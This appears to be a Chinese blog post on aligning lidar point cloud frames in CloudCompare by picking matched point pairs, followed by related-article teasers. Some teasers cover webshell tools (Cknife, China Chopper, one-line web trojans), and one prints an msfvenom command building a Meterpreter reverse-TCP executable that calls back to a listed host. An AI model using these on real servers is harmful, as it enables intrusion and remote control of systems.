三维激光雷达点云拼接

article/2025/9/30 22:45:45

写在前面

这是一篇于2017.4.19完成的实验报告,现整理成博客,当时处于摸索阶段,水平有限,后来也未对点云处理进行深入的研究,在此只是记录一下。
主要参考资料为CloudCompare wiki document。
对三维点云的处理,可以使用PCL(Point Cloud Library),功能十分强大。
在激光SLAM和RGB-D SLAM领域,通常使用ICP(Iterative Closest Point)算法对两个点集进行配准,从而求得位姿变换。
这里不会涉及PCL和ICP,后续用到这些知识再补充。

实验目的

(1)了解点云的拼接。
(2)学会使用软件CloudCompare,用手选同名点的方法实现点云的拼接。

原理与步骤

激光雷达获得大量一帧帧的点云数据后,需要经过对点云数据的配准,才能拼接成一幅三维雷达点云地图。
在本实验中,输入数据为在一特定区域内由激光雷达采集的多帧点云数据(在本实验中称为配准数据)和由高精度测绘设备采集的完整数据(在本实验中称为参考数据),将一帧帧的配准数据匹配到参考数据上,最终可拼接成一幅完整的三维雷达点云地图。
由于待配准的一帧雷达点云数据与参考数据差异过大,不能采用传统的ICP算法进行配准。
CloudCompare是一款3D点云处理软件,它提供了多种对点云进行粗略或精细匹配的方法。这里采用选取同名点配准的方法,可以通过Tools > Registration > Align (point pairs picking)使用。该工具允许用户通过在两个实体中挑选至少三个等效点对(即同名点)来配准两个实体。

1 首先选择两个实体,然后调用Align (point pairs picking)工具。

2 角色分配

指定哪个点云将是参考(不会移动),哪一个将是配准的点云(最终实际移动的云)。

3 选取同名点

(1)在参考点云上选取3个点。


(2)在配准点云上选取与参考点云中一一对应的同名点。优先选取离中心区域较近的点,而且容易分辨。

4 配准

选取至少三对同名点后,单击align按钮后,配准点云被匹配到参考点云上,此时为预览效果。同名点的选取直接影响配准效果,效果较差时需要删除误差较大的配准点,重新选择。

5 验证或取消

使用绿色的“√”和红色“×”图标来验证或取消当前的拼接过程。选择验证后,会生成一份报告,其中包括4×4转换矩阵,其形式如下

a1b1c10a2b2c20a3b3c30ΔXΔYΔZ1 [ a 1 a 2 a 3 Δ X b 1 b 2 b 3 Δ Y c 1 c 2 c 3 Δ Z 0 0 0 1 ]

其中 ΔXΔYΔZ Δ X , Δ Y , Δ Z 为平移参数, R=[a1b1c1a2b2c2a3b3c3] R = [ a 1 a 2 a 3 b 1 b 2 b 3 c 1 c 2 c 3 ] 为旋转矩阵。
坐标转换的数学模型为:
XYZ=ΔXΔYΔZ+Rxyz(1) (1) [ X Y Z ] = [ Δ X Δ Y Δ Z ] + R [ x y z ]

实验结果与分析

1 实验结果

拼接三帧点云后的地图。

2 实验分析

通过手选同名点配准的方法,拼接一幅完整的三维雷达点云地图,在本实验输入数据的规模下是一种有效的方法。然而操作过程繁琐,在配准数据较多时,是一项繁重的任务,而且手动选择同名点,难免会产生误差,同时随着误差的积累,会影响最终拼接的效果。

3 实验中遇到的问题

在拼接一定数量的点云图后,因为疏忽,颠倒了配准图和参考图,配准后参考图和配准图均无法与之前拼接的点云图进行拼接。
因此在做实验之前一定要理解原理,严格遵守规则,否则会浪费大量宝贵的时间。


http://chatgpt.dhexx.cn/article/lJfak2nD.shtml

相关文章

基于二维激光雷达的三维激光扫描系统的设计与实现

CSDN话题挑战赛第2期 参赛话题:学习笔记 学习之路,长路漫漫,写学习笔记的过程就是把知识讲给自己听的过程。这个过程中,我们去记录思考的过程,便于日后复习,梳理自己的思路。学习之乐,独乐乐&a…

激光雷达三维检测包含哪些内容?

点击上方“小白学视觉”,选择加"星标"或“置顶” 重磅干货,第一时间送达 文章导读 本文是针对一篇激光雷达三维目标检测的综述性文章的解读分析《Deep 3D Object Detection Networks Using LiDAR Data A Review》,从激光雷达的基础…

从零开始的三维激光雷达SLAM教程第二讲(搭建Gazebo仿真环境,并添加动态障碍物)

文章目录 引言第二节:搭建仿真环境下载velodyne激光模拟功能包安装turtlebot3模拟器安装三维激光雷达到turtlebot3上构建Gazebo地图添加动态障碍物操作机器人建图最终效果 引言 毕业设计打算做三维激光SLAM,记录一些学习历程,也给后面人一点…

Cknife与一句话木马提权

Cknife:一个管理网站的工具,支持动态脚本的网站的管理,用来连接一句话木马 一句话木马:一句恶意代码,可以是某种脚本语言,用来与客户端建立联系 通过中国菜刀连接一句话木马达到拿下网站webshell

Cknife的安装

下载菜刀,打开Cknife.jar软件 注意:这里的菜刀文件存放的目录不要带有中文 打开 没错,这是我们熟悉的pikachu 但是这个网站的上传漏洞我还没学,所以暂时没法操作(等发了上传漏洞的视频我就来改) 基本思路…

cknife连接失败

这是什么原因啊

IntelliJ IDEA生成jar包运行报Error:A JNI error has occurred,please check your installation and try again

首先介绍一下IntelliJ IDEA生成jar包的方式: 1、打开项目,打开FIile->Project Structure...菜单.如下图: 选中Artifacts,点号,选择JAR,再选择From modules with dependencies...,如下图: 在打开的界面中…

dvwa 切换php版本以及phpstorm -xdebug的配置使用

最近由于需要对dvwa 进行一些更改,对php啥也不懂的我,开始研究一下php开发环境,以及具体的搭建过程; 首先是需要下载安装破解phpstorm(不多说了,下载官网地址,破解网上一堆文章) 1…

上传漏洞-一句话木马

声明:为什么又写一篇关于一句话木马,对,我第一次没写明白,直写了一句话木马的简单制作,但是还是有很多同学真的看不懂,所以我今天改一下,这次精写! 上传漏洞-一句话木马 讲述内容&…

[对抗训练]“中国菜刀”安装,20180222

[对抗训练]“中国菜刀”安装与使用 一、下载开源代码 从GitHub上下载开源的“中国菜刀”Java项目代码 地址:https://github.com/Chora10/Cknife压缩文件见附件1。 二、将项目存为可执行jar 打开eclipse(或其他java编辑器) 添加解压后的“中国…

我的java16和java8冲突解决办法(java版本冲突解决方法)

我的java16和java8冲突解决办 我的问题 vscode 支持java11以上burpsuite 支持java11以上cknife 只能java8JEB 只能java8全局变量设置java16的路径 对于java8 直接把只支持java8的文件目录放到java8中 在这里中用的是java8,这个目录有java文件 这个脚本可以自动隐藏窗口打开一…

msf上传文件到服务器,利用MSF技巧进入服务器

原标题:利用MSF技巧进入服务器 首先需要一台公网的机器,这是留着方便以后转发或者反弹用的. 1.生成payload的方式 msfvenom -p windows/meterpreter/reverse_tcp LHOST1.2.3.4 LPORT2333 -f exe -o 1234.exe 之后把后门复制出来上传到webshell 推荐不使用exe后缀 因…

mbp 封神台靶场 六(笔记)

打开链接,根据题目提示,flag在c盘根目录下,接上一关的网页后台,打开c盘,发现确实存在flag.txt,但是提示没有权限。 于是知道本关需要我们去进行提权操作,打开D盘,发现cmd.exe和iis6.exe&#xf…

张小白的渗透之路(五)——上传漏洞及解析漏洞详解

前言 web应用程序通常会有文件上传的功能,例如在BBS发布图片、在个人网站发布压缩包,只要web应用程序允许上传文件,就有可能存在文件上传漏洞。 上传漏洞与sql注射相比,风险更大,如果web应用程序存在上传漏洞&#xf…

Kali下常见webshell管理工具汇总

转 自 https://www.ohlinge.cn/kali/kali_webshell.html 0x01 前言 Kali Linux作为一款专为渗透测试而生的Linux操作系统,在安全界的影响广泛。一般的webshell在Windows下面经常使用Chopper(中国菜刀)来管理,那么在Linux下面,有没有类似的工…

菜刀渗透

快速搭建discuz论坛 使用kali下BurpSuite对discuz后台注入php木马 使用Cknife“菜刀”.上传webshell木马到网站 使用Webshell查看mysql数据库密码并盗取数据库 快速搭建discuz论坛 攻击思路 想要拿下一台主机A的权限: 1、了解一下这个服务器:端口,服务器版本…

无法直接打开jar文件,提示“你要以何种方式打开.jar文件”(已解决)

问题引入: 网络安全&CTF竞赛中有很多封装好的工具类似Cknife/CTFcrackTools.jar/Stegsolve.jar需要java环境打开 问题描述: .jar文件只能通过dos命令打开,点击jar文件提示你要以何种方式打开.jar文件,并且选中jdk/bin/java…

开源渗透测试工具合集

子域名枚举工具 子域枚举和信息收集工具 Anubis 项目地址:https://github.com/jonluca/Anubis使用名为 Hacking with search engine 的技术列出有关主域的子域 N4xD0rk 项目地址:https://github.com/n4xh4ck5/N4xD0rk子域名爆破枚举工具 subDomainsBrut…

DVWA的upload文件上传漏洞(全难度)(小白向)

提示:只是为了方便理解,但不一定符合您的要求 文章目录 一、等级:low 二、等级:medium 三、等级:high 四:等级:impossible 前言 靶机ip:192.168.229.145 DVWA版本:v1.…

c php乱码,Cknife的PHP功能部分修正,解决SHELL无法回显以及中文乱码

在现在满大街菜刀都存在后门问题的时候,Cknife横空出世了。因为开源,所以安全。因为可操作的空间挺大的,也十分适合过各种WAF。下面就是解决两个常见问题的过程。希望可以帮到各位白帽子。 但是使用过程中也遇到了一些小问题,被吐槽最多的就是…